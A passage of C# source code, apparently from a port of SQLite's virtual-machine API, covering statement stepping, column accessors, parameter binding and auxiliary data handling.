)\n        {\n          db.u1.isInterrupted = false;\n        }\n\n#if  !SQLITE_OMIT_TRACE\n        if ( db.xProfile != null && 0 == db.init.busy )\n        {\n          double rNow = 0;\n          sqlite3OsCurrentTime( db.pVfs, ref rNow );\n          p.startTime = (u64)( ( rNow - (int)rNow ) * 3600.0 * 24.0 * 1000000000.0 );\n        }\n#endif\n\n        db.activeVdbeCnt++;\n        if ( p.readOnly == false ) db.writeVdbeCnt++;\n        p.pc = 0;\n      }\n#if  !SQLITE_OMIT_EXPLAIN\n      if ( p.explain != 0 )\n      {\n        rc = sqlite3VdbeList( p );\n      }\n      else\n#endif // * SQLITE_OMIT_EXPLAIN */\n      {\n\n        rc = sqlite3VdbeExec( p );\n      }\n\n      if ( sqlite3SafetyOff( db ) )\n      {\n        rc = SQLITE_MISUSE;\n      }\n\n#if  !SQLITE_OMIT_TRACE\n      /* Invoke the profile callback if there is one\n*/\n      if ( rc != SQLITE_ROW && db.xProfile != null && 0 == db.init.busy && p.zSql != null )\n      {\n        double rNow = 0;\n        u64 elapseTime;\n\n        sqlite3OsCurrentTime( db.pVfs, ref rNow );\n        elapseTime = (u64)( ( rNow - (int)rNow ) * 3600.0 * 24.0 * 1000000000.0 );\n        elapseTime -= p.startTime;\n        db.xProfile( db.pProfileArg, p.zSql, elapseTime );\n      }\n#endif\n\n      db.errCode = rc;\n      if ( SQLITE_NOMEM == sqlite3ApiExit( p.db, p.rc ) )\n      {\n        p.rc = SQLITE_NOMEM;\n      }\nend_of_step:\n      /* At this point local variable rc holds the value that should be\n      ** returned if this statement was compiled using the legacy\n      ** sqlite3_prepare() interface. According to the docs, this can only\n      ** be one of the values in the first Debug.Assert() below. Variable p.rc\n      ** contains the value that would be returned if sqlite3_finalize()\n      ** were called on statement p.\n      */\n      Debug.Assert( rc == SQLITE_ROW || rc == SQLITE_DONE || rc == SQLITE_ERROR\n      || rc == SQLITE_BUSY || rc == SQLITE_MISUSE\n      );\n      Debug.Assert( p.rc != SQLITE_ROW && p.rc != SQLITE_DONE );\n      if ( p.isPrepareV2 && rc != SQLITE_ROW && rc != SQLITE_DONE )\n      {\n        /* If this statement was prepared using sqlite3_prepare_v2(), and an\n        ** error has occured, then return the error code in p.rc to the\n        ** caller. Set the error code in the database handle to the same value.\n        */\n        rc = db.errCode = p.rc;\n      }\n      return ( rc & db.errMask );\n    }\n\n    /*\n    ** This is the top-level implementation of sqlite3_step().  Call\n    ** sqlite3Step() to do most of the work.  If a schema error occurs,\n    ** call sqlite3Reprepare() and try again.\n    */\n    public static int sqlite3_step( sqlite3_stmt pStmt )\n    {\n      int rc = SQLITE_MISUSE;\n      if ( pStmt != null )\n      {\n        int cnt = 0;\n        Vdbe v = (Vdbe)pStmt;\n        sqlite3 db = v.db;\n        sqlite3_mutex_enter( db.mutex );\n        while ( ( rc = sqlite3Step( v ) ) == SQLITE_SCHEMA\n        && cnt++ < 5\n        && ( rc = sqlite3Reprepare( v ) ) == SQLITE_OK )\n        {\n          sqlite3_reset( pStmt );\n          v.expired = false;\n        }\n        if ( rc == SQLITE_SCHEMA && ALWAYS( v.isPrepareV2 ) && ALWAYS( db.pErr != null ) )\n        {\n          /* This case occurs after failing to recompile an sql statement.\n          ** The error message from the SQL compiler has already been loaded\n          ** into the database handle. This block copies the error message\n          ** from the database handle into the statement and sets the statement\n          ** program counter to 0 to ensure that when the statement is\n          ** finalized or reset the parser error message is available via\n          ** sqlite3_errmsg() and sqlite3_errcode().\n          */\n          string zErr = sqlite3_value_text( db.pErr );\n          //sqlite3DbFree( db, ref v.zErrMsg );\n          //if ( 0 == db.mallocFailed )\n          {\n            v.zErrMsg = zErr;// sqlite3DbStrDup(db, zErr);\n          }\n          //else\n          //{\n          //  v.zErrMsg = \"\";\n          //  v.rc = SQLITE_NOMEM;\n          //}\n        }\n        rc = sqlite3ApiExit( db, rc );\n        sqlite3_mutex_leave( db.mutex );\n      }\n      return rc;\n    }\n\n    /*\n    ** Extract the user data from a sqlite3_context structure and return a\n    ** pointer to it.\n    */\n    static object sqlite3_user_data( sqlite3_context p )\n    {\n      Debug.Assert( p != null && p.pFunc != null );\n      return p.pFunc.pUserData;\n    }\n\n    /*\n    ** Extract the user data from a sqlite3_context structure and return a\n    ** pointer to it.\n    */\n    static sqlite3 sqlite3_context_db_handle( sqlite3_context p )\n    {\n      Debug.Assert( p != null && p.pFunc != null );\n      return p.s.db;\n    }\n\n    /*\n    ** The following is the implementation of an SQL function that always\n    ** fails with an error message stating that the function is used in the\n    ** wrong context.  The sqlite3_overload_function() API might construct\n    ** SQL function that use this routine so that the functions will exist\n    ** for name resolution but are actually overloaded by the xFindFunction\n    ** method of virtual tables.\n    */\n    static void sqlite3InvalidFunction(\n    sqlite3_context context, /* The function calling context */\n    int NotUsed,                /* Number of arguments to the function */\n    sqlite3_value[] NotUsed2       /* Value of each argument */\n    )\n    {\n      string zName = context.pFunc.zName;\n      string zErr;\n      UNUSED_PARAMETER2( NotUsed, NotUsed2 );\n      zErr = sqlite3_mprintf(\n      \"unable to use function %s in the requested context\", zName );\n      sqlite3_result_error( context, zErr, -1 );\n      //sqlite3_free( ref zErr );\n    }\n\n    /*\n    ** Allocate or return the aggregate context for a user function.  A new\n    ** context is allocated on the first call.  Subsequent calls return the\n    ** same context that was returned on prior calls.\n    */\n    public static Mem sqlite3_aggregate_context( sqlite3_context p, int nByte )\n    {\n      Mem pMem;\n      Debug.Assert( p != null && p.pFunc != null && p.pFunc.xStep != null );\n      Debug.Assert( sqlite3_mutex_held( p.s.db.mutex ) );\n      pMem = p.pMem;\n      if ( ( pMem.flags & MEM_Agg ) == 0 )\n      {\n        if ( nByte == 0 )\n        {\n          sqlite3VdbeMemReleaseExternal( pMem );\n          pMem.flags = MEM_Null;\n          pMem.z = null;\n        }\n        else\n        {\n          sqlite3VdbeMemGrow( pMem, nByte, 0 );\n          pMem.flags = MEM_Agg;\n          pMem.u.pDef = p.pFunc;\n          if ( pMem.z != null )\n          {\n            pMem.z = null;\n          }\n          pMem._Mem = new Mem();\n          pMem._Mem.flags = 0;\n          pMem._SumCtx = new SumCtx();\n        }\n      }\n      return pMem._Mem;\n    }\n\n    /*\n    ** Return the auxillary data pointer, if any, for the iArg'th argument to\n    ** the user-function defined by pCtx.\n    */\n    static string sqlite3_get_auxdata( sqlite3_context pCtx, int iArg )\n    {\n      VdbeFunc pVdbeFunc;\n\n      Debug.Assert( sqlite3_mutex_held( pCtx.s.db.mutex ) );\n      pVdbeFunc = pCtx.pVdbeFunc;\n      if ( null == pVdbeFunc || iArg >= pVdbeFunc.nAux || iArg < 0 )\n      {\n        return null;\n      }\n      return pVdbeFunc.apAux[iArg].pAux;\n    }\n\n    /*\n    ** Set the auxillary data pointer and delete function, for the iArg'th\n    ** argument to the user-function defined by pCtx. Any previous value is\n    ** deleted by calling the delete function specified when it was set.\n    */\n    static void sqlite3_set_auxdata(\n    sqlite3_context pCtx,\n    int iArg,\n    string pAux,\n    dxDel xDelete//void (*xDelete)(void*)\n    )\n    {\n      AuxData pAuxData;\n      VdbeFunc pVdbeFunc;\n      if ( iArg < 0 ) goto failed;\n\n      Debug.Assert( sqlite3_mutex_held( pCtx.s.db.mutex ) );\n      pVdbeFunc = pCtx.pVdbeFunc;\n      if ( null == pVdbeFunc || pVdbeFunc.nAux <= iArg )\n      {\n        int nAux = ( pVdbeFunc != null ? pVdbeFunc.nAux : 0 );\n        int nMalloc = iArg; ;//VdbeFunc+ sizeof(struct AuxData)*iArg;\n        if ( pVdbeFunc == null )\n        {\n          //pVdbeFunc = (VdbeFunc)sqlite3DbRealloc( pCtx.s.db, pVdbeFunc, nMalloc );\n          pVdbeFunc = new VdbeFunc();\n          if ( null == pVdbeFunc )\n          {\n            goto failed;\n          }\n          pCtx.pVdbeFunc = pVdbeFunc;\n        }\n        pVdbeFunc.apAux[nAux] = new AuxData();//memset(pVdbeFunc.apAux[nAux], 0, sizeof(struct AuxData)*(iArg+1-nAux));\n        pVdbeFunc.nAux = iArg + 1;\n        pVdbeFunc.pFunc = pCtx.pFunc;\n      }\n\n      pAuxData = pVdbeFunc.apAux[iArg];\n      if ( pAuxData.pAux != null && pAuxData.xDelete != null )\n      {\n        pAuxData.xDelete( ref pAuxData.pAux );\n      }\n      pAuxData.pAux = pAux;\n      pAuxData.xDelete = xDelete;\n      return;\n\nfailed:\n      if ( xDelete != null )\n      {\n        xDelete( ref pAux );\n      }\n    }\n\n#if !SQLITE_OMIT_DEPRECATED\n    /*\n** Return the number of times the Step function of a aggregate has been\n** called.\n**\n** This function is deprecated.  Do not use it for new code.  It is\n** provide only to avoid breaking legacy code.  New aggregate function\n** implementations should keep their own counts within their aggregate\n** context.\n*/\n    static int sqlite3_aggregate_count( sqlite3_context p )\n    {\n      Debug.Assert( p != null && p.pMem != null && p.pFunc != null && p.pFunc.xStep != null );\n      return p.pMem.n;\n    }\n#endif\n\n    /*\n** Return the number of columns in the result set for the statement pStmt.\n*/\n    public static int sqlite3_column_count( sqlite3_stmt pStmt )\n    {\n      Vdbe pVm = pStmt;\n      return pVm != null ? (int)pVm.nResColumn : 0;\n    }\n\n    /*\n    ** Return the number of values available from the current row of the\n    ** currently executing statement pStmt.\n    */\n    public static int sqlite3_data_count( sqlite3_stmt pStmt )\n    {\n      Vdbe pVm = pStmt;\n      if ( pVm == null || pVm.pResultSet == null ) return 0;\n      return pVm.nResColumn;\n    }\n\n\n    /*\n    ** Check to see if column iCol of the given statement is valid.  If\n    ** it is, return a pointer to the Mem for the value of that column.\n    ** If iCol is not valid, return a pointer to a Mem which has a value\n    ** of NULL.\n    */\n    static Mem columnMem( sqlite3_stmt pStmt, int i )\n    {\n      Vdbe pVm;\n      int vals;\n      Mem pOut;\n\n      pVm = (Vdbe)pStmt;\n      if ( pVm != null && pVm.pResultSet != null && i < pVm.nResColumn && i >= 0 )\n      {\n        sqlite3_mutex_enter( pVm.db.mutex );\n        vals = sqlite3_data_count( pStmt );\n        pOut = pVm.pResultSet[i];\n      }\n      else\n      {\n        /* If the value passed as the second argument is out of range, return\n        ** a pointer to the following static Mem object which contains the\n        ** value SQL NULL. Even though the Mem structure contains an element\n        ** of type i64, on certain architecture (x86) with certain compiler\n        ** switches (-Os), gcc may align this Mem object on a 4-byte boundary\n        ** instead of an 8-byte one. This all works fine, except that when\n        ** running with SQLITE_DEBUG defined the SQLite code sometimes assert()s\n        ** that a Mem structure is located on an 8-byte boundary. To prevent\n        ** this assert() from failing, when building with SQLITE_DEBUG defined\n        ** using gcc, force nullMem to be 8-byte aligned using the magical\n        ** __attribute__((aligned(8))) macro.  */\n        //    Mem nullMem\n#if (SQLITE_DEBUG) && (__GNUC__)\n__attribute__((aligned(8)))\n#endif\n        //\n        Mem nullMem = new Mem();//    static const Mem nullMem = {{0}, (double)0, 0, \"\", 0, MEM_Null, SQLITE_NULL, 0, 0, 0 };\n\n        if ( pVm != null && ALWAYS( pVm.db != null ) )\n        {\n          sqlite3_mutex_enter( pVm.db.mutex );\n          sqlite3Error( pVm.db, SQLITE_RANGE, 0 );\n        }\n        pOut = (Mem)nullMem;\n      }\n      return pOut;\n    }\n\n    /*\n    ** This function is called after invoking an sqlite3_value_XXX function on a\n    ** column value (i.e. a value returned by evaluating an SQL expression in the\n    ** select list of a SELECT statement) that may cause a malloc() failure. If\n    ** malloc() has failed, the threads mallocFailed flag is cleared and the result\n    ** code of statement pStmt set to SQLITE_NOMEM.\n    **\n    ** Specifically, this is called from within:\n    **\n    **     sqlite3_column_int()\n    **     sqlite3_column_int64()\n    **     sqlite3_column_text()\n    **     sqlite3_column_text16()\n    **     sqlite3_column_real()\n    **     sqlite3_column_bytes()\n    **     sqlite3_column_bytes16()\n    **\n    ** But not for sqlite3_column_blob(), which never calls malloc().\n    */\n    static void columnMallocFailure( sqlite3_stmt pStmt )\n    {\n      /* If malloc() failed during an encoding conversion within an\n      ** sqlite3_column_XXX API, then set the return code of the statement to\n      ** SQLITE_NOMEM. The next call to _step() (if any) will return SQLITE_ERROR\n      ** and _finalize() will return NOMEM.\n      */\n      Vdbe p = pStmt;\n      if ( p != null )\n      {\n        p.rc = sqlite3ApiExit( p.db, p.rc );\n        sqlite3_mutex_leave( p.db.mutex );\n      }\n    }\n\n    /**************************** sqlite3_column_  *******************************\n    ** The following routines are used to access elements of the current row\n    ** in the result set.\n    */\n    public static byte[] sqlite3_column_blob( sqlite3_stmt pStmt, int i )\n    {\n      byte[] val;\n      val = sqlite3_value_blob( columnMem( pStmt, i ) );\n      /* Even though there is no encoding conversion, value_blob() might\n      ** need to call malloc() to expand the result of a zeroblob()\n      ** expression.\n      */\n      columnMallocFailure( pStmt );\n      return val;\n    }\n    static int sqlite3_column_bytes( sqlite3_stmt pStmt, int i )\n    {\n      int val = sqlite3_value_bytes( columnMem( pStmt, i ) );\n      columnMallocFailure( pStmt );\n      return val;\n    }\n    static int sqlite3_column_bytes16( sqlite3_stmt pStmt, int i )\n    {\n      int val = sqlite3_value_bytes16( columnMem( pStmt, i ) );\n      columnMallocFailure( pStmt );\n      return val;\n    }\n    public static double sqlite3_column_double(sqlite3_stmt pStmt, int i)\n    {\n      double val = sqlite3_value_double( columnMem( pStmt, i ) );\n      columnMallocFailure( pStmt );\n      return val;\n    }\n    public static int sqlite3_column_int( sqlite3_stmt pStmt, int i )\n    {\n      int val = sqlite3_value_int( columnMem( pStmt, i ) );\n      columnMallocFailure( pStmt );\n      return val;\n    }\n    public static sqlite_int64 sqlite3_column_int64( sqlite3_stmt pStmt, int i )\n    {\n      sqlite_int64 val = sqlite3_value_int64( columnMem( pStmt, i ) );\n      columnMallocFailure( pStmt );\n      return val;\n    }\n    public static string sqlite3_column_text( sqlite3_stmt pStmt, int i )\n    {\n      string val = sqlite3_value_text( columnMem( pStmt, i ) );\n      columnMallocFailure( pStmt );\n      if ( String.IsNullOrEmpty( val ) ) return null; return val;\n    }\n    static sqlite3_value sqlite3_column_value( sqlite3_stmt pStmt, int i )\n    {\n      Mem pOut = columnMem( pStmt, i );\n      if ( ( pOut.flags & MEM_Static ) != 0 )\n      {\n        pOut.flags = (u16)( pOut.flags & ~MEM_Static );\n        pOut.flags |= MEM_Ephem;\n      }\n      columnMallocFailure( pStmt );\n      return (sqlite3_value)pOut;\n    }\n#if  !SQLITE_OMIT_UTF16\n//const void *sqlite3_column_text16(sqlite3_stmt pStmt, int i){\n//  const void *val = sqlite3_value_text16( columnMem(pStmt,i) );\n//  columnMallocFailure(pStmt);\n//  return val;\n//}\n#endif // * SQLITE_OMIT_UTF16 */\n    public static int sqlite3_column_type( sqlite3_stmt pStmt, int i )\n    {\n      int iType = sqlite3_value_type( columnMem( pStmt, i ) );\n      columnMallocFailure( pStmt );\n      return iType;\n    }\n\n    /* The following function is experimental and subject to change or\n    ** removal */\n    /*int sqlite3_column_numeric_type(sqlite3_stmt pStmt, int i){\n    **  return sqlite3_value_numeric_type( columnMem(pStmt,i) );\n    **}\n    */\n\n    /*\n    ** Convert the N-th element of pStmt.pColName[] into a string using\n    ** xFunc() then return that string.  If N is out of range, return 0.\n    **\n    ** There are up to 5 names for each column.  useType determines which\n    ** name is returned.  Here are the names:\n    **\n    **    0      The column name as it should be displayed for output\n    **    1      The datatype name for the column\n    **    2      The name of the database that the column derives from\n    **    3      The name of the table that the column derives from\n    **    4      The name of the table column that the result column derives from\n    **\n    ** If the result is not a simple column reference (if it is an expression\n    ** or a constant) then useTypes 2, 3, and 4 return NULL.\n    */\n    static string columnName(\n    sqlite3_stmt pStmt,\n    int N,\n    dxColname xFunc,\n    int useType\n    )\n    {\n      string ret = null;\n      Vdbe p = pStmt;\n      int n;\n      sqlite3 db = p.db;\n\n      Debug.Assert( db != null );\n\n      n = sqlite3_column_count( pStmt );\n      if ( N < n && N >= 0 )\n      {\n        N += useType * n;\n        sqlite3_mutex_enter( db.mutex );\n        //Debug.Assert( db.mallocFailed == 0 );\n        ret = xFunc( p.aColName[N] );\n\n        /* A malloc may have failed inside of the xFunc() call. If this\n        ** is the case, clear the mallocFailed flag and return NULL.\n        */\n        //if ( db.mallocFailed != 0 )\n        //{\n        //  //db.mallocFailed = 0;\n        //  ret = null;\n        //}\n        sqlite3_mutex_leave( db.mutex );\n      }\n      return ret;\n    }\n\n    /*\n    ** Return the name of the Nth column of the result set returned by SQL\n    ** statement pStmt.\n    */\n    public static string sqlite3_column_name( sqlite3_stmt pStmt, int N )\n    {\n      return columnName(\n      pStmt, N, sqlite3_value_text, COLNAME_NAME );\n    }\n#if  !SQLITE_OMIT_UTF16\npublic static string sqlite3_column_name16(sqlite3_stmt pStmt, int N){\nreturn columnName(\npStmt, N,  sqlite3_value_text16, COLNAME_NAME);\n}\n#endif\n\n    /*\n** Constraint:  If you have ENABLE_COLUMN_METADATA then you must\n** not define OMIT_DECLTYPE.\n*/\n#if SQLITE_OMIT_DECLTYPE && SQLITE_ENABLE_COLUMN_METADATA\n# error \"Must not define both SQLITE_OMIT_DECLTYPE and SQLITE_ENABLE_COLUMN_METADATA\"\n#endif\n\n#if !SQLITE_OMIT_DECLTYPE\n    /*\n** Return the column declaration type (if applicable) of the 'i'th column\n** of the result set of SQL statement pStmt.\n*/\n    public static string sqlite3_column_decltype( sqlite3_stmt pStmt, int N )\n    {\n      return columnName(\n      pStmt, N, sqlite3_value_text, COLNAME_DECLTYPE );\n    }\n#if  !SQLITE_OMIT_UTF16\n//const void *sqlite3_column_decltype16(sqlite3_stmt pStmt, int N){\n//  return columnName(\n//      pStmt, N, (const void*(*)(Mem*))sqlite3_value_text16, COLNAME_DECLTYPE);\n//}\n#endif // * SQLITE_OMIT_UTF16 */\n#endif // * SQLITE_OMIT_DECLTYPE */\n\n#if  SQLITE_ENABLE_COLUMN_METADATA\n\n/*\n** Return the name of the database from which a result column derives.\n** NULL is returned if the result column is an expression or constant or\n** anything else which is not an unabiguous reference to a database column.\n*/\nstatic byte[] sqlite3_column_database_name(sqlite3_stmt pStmt, int N){\nreturn columnName(\npStmt, N, sqlite3_value_text, COLNAME_DATABASE);\n}\n#if !SQLITE_OMIT_UTF16\nconst void *sqlite3_column_database_name16(sqlite3_stmt pStmt, int N){\nreturn columnName(\npStmt, N, (const void*(*)(Mem*))sqlite3_value_text16, COLNAME_DATABASE);\n}\n#endif //* SQLITE_OMIT_UTF16 */\n\n/*\n** Return the name of the table from which a result column derives.\n** NULL is returned if the result column is an expression or constant or\n** anything else which is not an unabiguous reference to a database column.\n*/\nstatic byte[] qlite3_column_table_name(sqlite3_stmt pStmt, int N){\nreturn columnName(\npStmt, N, sqlite3_value_text, COLNAME_TABLE);\n}\n#if !SQLITE_OMIT_UTF16\nconst void *sqlite3_column_table_name16(sqlite3_stmt pStmt, int N){\nreturn columnName(\npStmt, N, (const void*(*)(Mem*))sqlite3_value_text16, COLNAME_TABLE);\n}\n#endif //* SQLITE_OMIT_UTF16 */\n\n/*\n** Return the name of the table column from which a result column derives.\n** NULL is returned if the result column is an expression or constant or\n** anything else which is not an unabiguous reference to a database column.\n*/\nstatic byte[] sqlite3_column_origin_name(sqlite3_stmt pStmt, int N){\nreturn columnName(\npStmt, N, sqlite3_value_text, COLNAME_COLUMN);\n}\n#if !SQLITE_OMIT_UTF16\nconst void *sqlite3_column_origin_name16(sqlite3_stmt pStmt, int N){\nreturn columnName(\npStmt, N, (const void*(*)(Mem*))sqlite3_value_text16, COLNAME_COLUMN);\n}\n#endif ///* SQLITE_OMIT_UTF16 */\n#endif // * SQLITE_ENABLE_COLUMN_METADATA */\n\n\n    /******************************* sqlite3_bind_  ***************************\n**\n** Routines used to attach values to wildcards in a compiled SQL statement.\n*/\n    /*\n    ** Unbind the value bound to variable i in virtual machine p. This is the\n    ** the same as binding a NULL value to the column. If the \"i\" parameter is\n    ** out of range, then SQLITE_RANGE is returned. Othewise SQLITE_OK.\n    **\n    ** A successful evaluation of this routine acquires the mutex on p.\n    ** the mutex is released if any kind of error occurs.\n    **\n    ** The error code stored in database p.db is overwritten with the return\n    ** value in any case.\n    */\n    static int vdbeUnbind( Vdbe p, int i )\n    {\n      Mem pVar;\n      if ( p == null ) return SQLITE_MISUSE;\n      sqlite3_mutex_enter( p.db.mutex );\n      if ( p.magic != VDBE_MAGIC_RUN || p.pc >= 0 )\n      {\n        sqlite3Error( p.db, SQLITE_MISUSE, 0 );\n        sqlite3_mutex_leave( p.db.mutex );\n        return SQLITE_MISUSE;\n      }\n      if ( i < 1 || i > p.nVar )\n      {\n        sqlite3Error( p.db, SQLITE_RANGE, 0 );\n        sqlite3_mutex_leave( p.db.mutex );\n        return SQLITE_RANGE;\n      }\n      i--;\n      pVar = p.aVar[i];\n      sqlite3VdbeMemRelease( pVar );\n      pVar.flags = MEM_Null;\n      sqlite3Error( p.db, SQLITE_OK, 0 );\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Bind a text or BLOB value.\n    */\n    static int bindText(\n    sqlite3_stmt pStmt,   /* The statement to bind against */\n    int i,                /* Index of the parameter to bind */\n    string zData,         /* Pointer to the data to be bound */\n    int nData,            /* Number of bytes of data to be bound */\n    dxDel xDel,           /* Destructor for the data */\n    u8 encoding          /* Encoding for the data */\n    )\n    {\n      Vdbe p = pStmt;\n      Mem pVar;\n      int rc;\n\n      rc = vdbeUnbind( p, i );\n      if ( rc == SQLITE_OK )\n      {\n        if ( zData != null )\n        {\n          pVar = p.aVar[i - 1];\n          rc = sqlite3VdbeMemSetStr( pVar, zData, nData, encoding, xDel );\n          if ( rc == SQLITE_OK && encoding != 0 )\n          {\n            rc = sqlite3VdbeChangeEncoding( pVar, ENC( p.db ) );\n          }\n          sqlite3Error( p.db, rc, 0 );\n          rc = sqlite3ApiExit( p.db, rc );\n        }\n        sqlite3_mutex_leave( p.db.mutex );\n      }\n      return rc;\n    }\n\n\n    /*\n    ** Bind a blob value to an SQL statement variable.\n    */\n    public static int sqlite3_bind_blob(\n    sqlite3_stmt pStmt,\n    int i,\n    string zData,\n    int nData,\n    dxDel xDel\n    )\n    {\n      return bindText( pStmt, i, zData, nData, xDel, 0 );\n    }\n\n    public static int sqlite3_bind_double( sqlite3_stmt pStmt, int i, double rValue )\n    {\n      int rc;\n      Vdbe p = pStmt;\n      rc = vdbeUnbind( p, i );\n      if ( rc == SQLITE_OK )\n      {\n        sqlite3VdbeMemSetDouble( p.aVar[i - 1], rValue );\n        sqlite3_mutex_leave( p.db.mutex );\n      }\n      return rc;\n    }\n\n    public static int sqlite3_bind_int( sqlite3_stmt p, int i, int iValue )\n    {\n      return sqlite3_bind_int64( p, i, (i64)iValue );\n    }\n\n    public static int sqlite3_bind_int64( sqlite3_stmt pStmt, int i, sqlite_int64 iValue )\n    {\n      int rc;\n      Vdbe p = pStmt;\n      rc = vdbeUnbind( p, i );\n      if ( rc == SQLITE_OK )\n      {\n        sqlite3VdbeMemSetInt64( p.aVar[i - 1], iValue );\n        sqlite3_mutex_leave( p.db.mutex );\n      }\n      return rc;\n    }\n    public static int sqlite3_bind_null( sqlite3_stmt pStmt, int i )\n    {\n      int rc;\n      Vdbe p = (Vdbe)pStmt;\n      rc = vdbeUnbind( p, i );\n      if ( rc == SQLITE_OK )\n      {\n        sqlite3_mutex_leave( p.db.mutex );\n      } return rc;\n    }\n\n    public static int sqlite3_bind_text(\n    sqlite3_stmt pStmt,\n    int i,\n    string zData,\n    int nData,\n    dxDel xDel\n    )\n    {\n      return bindText( pStmt, i, zData, nData, xDel, SQLITE_UTF8 );\n    }\n#if  !SQLITE_OMIT_UTF16\nstatic int sqlite3_bind_text16(\nsqlite3_stmt pStmt,\nint i,\nstring zData,\nint nData,\ndxDel xDel\n){\nreturn bindText(pStmt, i, zData, nData, xDel, SQLITE_UTF16NATIVE);\n}\n#endif // * SQLITE_OMIT_UTF16 */\n    static int sqlite3_bind_value( sqlite3_stmt pStmt, int i, sqlite3_value pValue )\n    {\n      int rc;\n      switch ( pValue.type )\n      {\n        case SQLITE_INTEGER:\n          {\n            rc = sqlite3_bind_int64( pStmt, i, pValue.u.i );\n            break;\n          }\n        case SQLITE_FLOAT:\n          {\n            rc = sqlite3_bind_double( pStmt, i, pValue.r );\n            break;\n          }\n        case SQLITE_BLOB:\n          {\n            if ( ( pValue.flags & MEM_Zero ) != 0 )\n            {\n              rc = sqlite3_bind_zeroblob( pStmt, i, pValue.u.nZero );\n            }\n            else\n            {\n              rc = sqlite3_bind_blob( pStmt, i, pValue.z, pValue.n, SQLITE_TRANSIENT );\n            }\n            break;\n          }\n        case SQLITE_TEXT:\n          {\n            rc = bindText( pStmt, i, pValue.z, pValue.n, SQLITE_TRANSIENT,\n                      pValue.enc );\n            break;\n          }\n        default:\n          {\n            rc = sqlite3_bind_null( pStmt, i );\n            break;\n          }\n      }\n      return rc;\n    }\n\n    static int sqlite3_bind_zeroblob( sqlite3_stmt pStmt, int i, int n )\n    {\n      int rc;\n      Vdbe p = pStmt;\n      rc = vdbeUnbind( p, i );\n      if ( rc == SQLITE_OK )\n      {\n        sqlite3VdbeMemSetZeroBlob( p.aVar[i - 1], n );\n        sqlite3_mutex_leave( p.db.mutex );\n      }\n      return rc;\n    }\n\n    /*\n    ** Return the number of wildcards that can be potentially bound to.\n    ** This routine is added to support DBD::SQLite.\n    */\n    static int sqlite3_bind_parameter_count( sqlite3_stmt pStmt )\n    {\n      Vdbe p = (Vdbe)pStmt;\n      return ( p != null ) ? (int)p.nVar : 0;\n    }\n\n    /*\n    ** Create a mapping from variable numbers to variable names\n    ** in the Vdbe.azVar[] array, if such a mapping does not already\n    ** exist.\n    */\n    static void createVarMap( Vdbe p )\n    {\n      if ( 0 == p.okVar )\n      {\n        int j;\n        Op pOp;\n        sqlite3_mutex_enter( p.db.mutex );\n        /* The race condition here is harmless.  If two threads call this\n        ** routine on the same Vdbe at the same time, they both might end\n        ** up initializing the Vdbe.azVar[] array.  That is a little extra\n        ** work but it results in the same answer.\n        */\n        p.azVar = new string[p.nOp];\n        for ( j = 0 ; j < p.nOp ; j++ )//, pOp++ )\n        {\n          pOp = p.aOp[j];\n          if ( pOp.opcode == OP_Variable )\n          {\n            Debug.Assert( pOp.p1 > 0 && pOp.p1 <= p.nVar );\n            p.azVar[pOp.p1 - 1] = pOp.p4.z != null ? pOp.p4.z : \"\";\n          }\n        }\n        p.okVar = 1;\n        sqlite3_mutex_leave( p.db.mutex );\n      }\n    }\n\n    /*\n    ** Return the name of a wildcard parameter.  Return NULL if the index\n    ** is out of range or if the wildcard is unnamed.\n    **\n    ** The result is always UTF-8.\n    */\n    static string sqlite3_bind_parameter_name( sqlite3_stmt pStmt, int i )\n    {\n      Vdbe p = (Vdbe)pStmt;\n      if ( p == null || i < 1 || i > p.nVar )\n      {\n        return \"\";\n      }\n      createVarMap( p );\n      return p.azVar[i - 1];\n    }\n\n    /*\n    ** Given a wildcard parameter name, return the index of the variable\n    ** with that name.  If there is no variable with the given name,\n    ** return 0.\n    */\n    public static int sqlite3_bind_parameter_index( sqlite3_stmt pStmt, string zName )\n    {\n      Vdbe p = (Vdbe)pStmt;\n      int i;\n      if ( p == null )\n      {\n        return 0;\n      }\n      createVarMap( p );\n      if ( zName != null && zName != \"\" )\n      {\n        for ( i = 0 ; i < p.nVar ; i++ )\n        {\n          string z = p.azVar[i];\n          if ( z != null && z == zName )//&& strcmp(z, zName) == 0)\n          {\n            return i + 1;\n          }\n        }\n      }\n      return 0;\n    }\n\n    /*\n    ** Transfer all bindings from the first statement over to the second.\n    */\n    static int sqlite3TransferBindings( sqlite3_stmt pFromStmt, sqlite3_stmt pToStmt )\n    {\n      Vdbe pFrom = (Vdbe)pFromStmt;\n      Vdbe pTo = (Vdbe)pToStmt;\n      int i;\n      Debug.Assert( pTo.db == pFrom.db );\n      Debug.Assert( pTo.nVar == pFrom.nVar );\n      sqlite3_mutex_enter( pTo.db.mutex );\n      for ( i = 0 ; i < pFrom.nVar ; i++ )\n      {\n        sqlite3VdbeMemMove( pTo.aVar[i], pFrom.aVar[i] );\n      }\n      sqlite3_mutex_leave( pTo.db.mutex );\n      return SQLITE_OK;\n    }\n\n#if !SQLITE_OMIT_DEPRECATED\n    /*\n** Deprecated external interface.  Internal/core SQLite code\n** should call sqlite3TransferBindings.\n**\n** Is is misuse to call this routine with statements from different\n** database connections.  But as this is a deprecated interface, we\n** will not bother to check for that condition.\n**\n** If the two statements contain a different number of bindings, then\n** an SQLITE_ERROR is returned.  Nothing else can go wrong, so otherwise\n** SQLITE_OK is returned.\n*/\n    static int sqlite3_transfer_bindings( sqlite3_stmt pFromStmt, sqlite3_stmt pToStmt )\n    {\n      Vdbe pFrom = (Vdbe)pFromStmt;\n      Vdbe pTo = (Vdbe)pToStmt;\n      if ( pFrom.nVar != pTo.nVar )\n      {\n        return SQLITE_ERROR;\n      }\n      return sqlite3TransferBindings( pFromStmt, pToStmt );\n    }\n#endif\n\n    /*\n** Return the sqlite3* database handle to which the prepared statement given\n** in the argument belongs.  This is the same database handle that was\n** the first argument to the sqlite3_prepare() that was used to create\n** the statement in the first place.\n*/\n    static sqlite3 sqlite3_db_handle( sqlite3_stmt pStmt )\n    {\n      return pStmt != null ? ( (Vdbe)pStmt ).db : null;\n    }\n\n    /*\n    ** Return a pointer to the next prepared statement after pStmt associated\n    ** with database connection pDb.  If pStmt is NULL, return the first\n    ** prepared statement for the database connection.  Return NULL if there\n    ** are no more.\n    */\n    static sqlite3_stmt sqlite3_next_stmt( sqlite3 pDb, sqlite3_stmt pStmt )\n    {\n      sqlite3_stmt pNext;\n      sqlite3_mutex_enter( pDb.mutex );\n      if ( pStmt == null )\n      {\n        pNext = (sqlite3_stmt)pDb.pVdbe;\n      }\n      else\n      {\n        pNext = (sqlite3_stmt)( (Vdbe)pStmt 